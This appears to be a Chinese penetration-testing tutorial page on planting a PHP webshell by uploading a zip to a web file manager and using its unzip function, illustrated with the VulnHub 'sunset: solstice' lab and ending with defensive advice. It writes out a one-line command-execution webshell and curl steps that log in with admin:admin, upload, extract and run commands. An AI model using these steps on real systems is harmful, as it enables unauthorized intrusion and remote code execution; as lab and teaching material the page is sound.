跳到主要内容

文件上传与 Zip 解压释放 WebShell

很多后台会限制直接上传 .php,但允许上传压缩包,并在后台提供“解压”功能。如果解压后的文件落在 Web 可访问目录,攻击者就可能通过 Zip 包间接释放 WebShell。

这类路径常见于文件管理器、CMS 插件、备份管理面板和旧式 Web 文件浏览器。


判断条件

条件说明
可登录后台弱口令、默认口令或已获取凭据
可上传压缩包直接 .php 可能被拦,但 .zip 被允许
后台可解压解压目录可控或固定在 Web 目录
解压后可访问shell.php 能通过 URL 访问
PHP 可执行Web 服务器会解释解压出的 PHP 文件

基础流程

1. 准备最小 WebShell

授权靶场中可用最小命令执行文件:

echo '<?php system($_GET["cmd"]); ?>' > shell.php
zip shell.zip shell.php

2. 登录后台

以 File Thingie 这类表单后台为例:

curl -s -L -c cookies.txt \
-d "ft_user=admin&ft_pass=admin&act=dologin" \
http://target:54787/project/index.php

3. 上传 Zip

curl -s -b cookies.txt \
-F "act=upload" \
-F "localfile=@shell.zip" \
http://target:54787/project/index.php

4. 后台解压

curl -s -b cookies.txt \
-d "act=unzip&file=shell.zip&dir=&newvalue=shell.zip&submit=Ok" \
http://target:54787/project/index.php

5. 访问解压后的文件

curl -s 'http://target:54787/project/shell.php?cmd=id'

防坑点

  1. 先上传普通文本文件确认路径,不要直接假设解压目录。
  2. 如果 .php 不执行,检查是否落在静态目录、扩展名是否被改写。
  3. 如果 Zip 内有目录层级,URL 路径也要带上目录。
  4. 后台可能需要 CSRF token,先用浏览器或 Burp 看真实请求。
  5. 弱口令后台本身也是发现点,别只盯着上传功能。

Solstice 案例

sunset: solstice 的 54787 端口暴露 File Thingie 后台,admin:admin 可登录。直接利用上传和解压功能释放 shell.php,访问后得到 www-data RCE。

完整过程见:VulnHub sunset: solstice 通关记录


防御建议

  1. 后台必须使用强口令和 MFA,禁用默认账号。
  2. 上传目录和解压目录不要允许脚本执行。
  3. 解压前校验压缩包内容,拒绝危险扩展名和路径穿越。
  4. 解压后的文件名、MIME、扩展名都要重新检查。
  5. 文件管理器后台不要暴露到不必要的网络范围。